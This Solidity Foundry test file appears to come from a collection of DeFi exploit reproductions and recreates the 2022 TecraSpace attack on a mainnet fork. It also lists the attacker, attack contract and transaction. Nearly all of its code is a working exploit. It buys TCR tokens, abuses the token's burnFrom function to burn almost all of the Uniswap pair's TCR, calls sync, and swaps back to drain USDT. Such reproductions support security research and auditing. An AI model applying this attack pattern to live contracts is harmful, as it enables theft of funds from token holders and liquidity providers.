src/test/2022-02/TecraSpace_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7/*
8    @KeyInfo
9    - Total Lost: 639,222 $USDT
10    - Attacker: https://etherscan.io/address/0xb19b7f59c08ea447f82b587c058ecbf5fde9c299
11    - Attack Contract: https://etherscan.io/address/0x6653d9bcbc28fc5a2f5fb5650af8f2b2e1695a15
12    - Vuln Contract: https://etherscan.io/address/0xe38b72d6595fd3885d1d2f770aa23e94757f91a1
13    - Attack Tx: https://app.blocksec.com/explorer/tx/eth/0x81e9918e248d14d78ff7b697355fd9f456c6d7881486ed14fdfb69db16631154
14*/
15interface IUSDTInterface {
16    function approve(address spender, uint256 value) external;
17}
18 
19interface ITcrInterface {
20    function burnFrom(address from, uint256 amount) external;
21    function approve(address spender, uint256 amount) external;
22}
23 
24interface IUNIswapV2 {
25    function swapExactETHForTokens(
26        uint256 amountOutMin,
27        address[] calldata path,
28        address to,
29        uint256 deadline
30    ) external payable;
31    function swapExactTokensForTokens(
32        uint256 amountIn,
33        uint256 amountOutMin,
34        address[] calldata path,
35        address to,
36        uint256 deadline
37    ) external;
38}
39 
40interface IPairPoolInterface {
41    function sync() external;
42}
43 
44contract ExploitTest is Test {
45    address TCR = 0xE38B72d6595FD3885d1D2F770aa23E94757F91a1;
46    address usdt = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
47    address route = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
48    address weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
49    address pool = 0x420725A69E79EEffB000F98Ccd78a52369b6C5d4;
50    uint256 constant MAX = type(uint256).max;
51 
52    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
53 
54    function setUp() public {
55        cheats.createSelectFork("mainnet", 14_139_082 - 1);
56        cheats.label(address(usdt), "USDT");
57        cheats.label(address(TCR), "TCR");
58        cheats.label(address(route), "UniswapRoute");
59        cheats.label(address(weth), "WETH");
60        cheats.label(address(pool), "PairPool");
61        deal(address(this), 0.04 ether);
62    }
63 
64    function testExploit() external {
65        IUSDTInterface(usdt).approve(route, type(uint256).max);
66        ITcrInterface(TCR).approve(route, type(uint256).max);
67        ITcrInterface(TCR).approve(pool, type(uint256).max);
68 
69        emit log_named_decimal_uint(
70            "Exploiter USDT balance before attack", IERC20(usdt).balanceOf(address(this)), IERC20(usdt).decimals()
71        );
72        uint256 wethAmount = address(this).balance;
73        address[] memory path = new address[](3);
74        path[0] = weth;
75        path[1] = usdt;
76        path[2] = TCR;
77        uint256 deadline = block.timestamp + 24 hours;
78 
79        IUNIswapV2(route).swapExactETHForTokens{value: wethAmount}(1, path, address(this), deadline);
80        uint256 poolTCRbalance = IERC20(TCR).balanceOf(pool);
81        ITcrInterface(TCR).burnFrom(pool, poolTCRbalance - 100_000_000);
82        uint256 attackerTCRbalance = IERC20(TCR).balanceOf(address(this));
83        IPairPoolInterface(pool).sync();
84        address[] memory path2 = new address[](2);
85        path2[0] = TCR;
86        path2[1] = usdt;
87        IUNIswapV2(route).swapExactTokensForTokens(attackerTCRbalance, 1, path2, address(this), deadline);
88 
89        emit log_named_decimal_uint(
90            "Exploiter USDT balance after attack", IERC20(usdt).balanceOf(address(this)), IERC20(usdt).decimals()
91        );
92    }
93}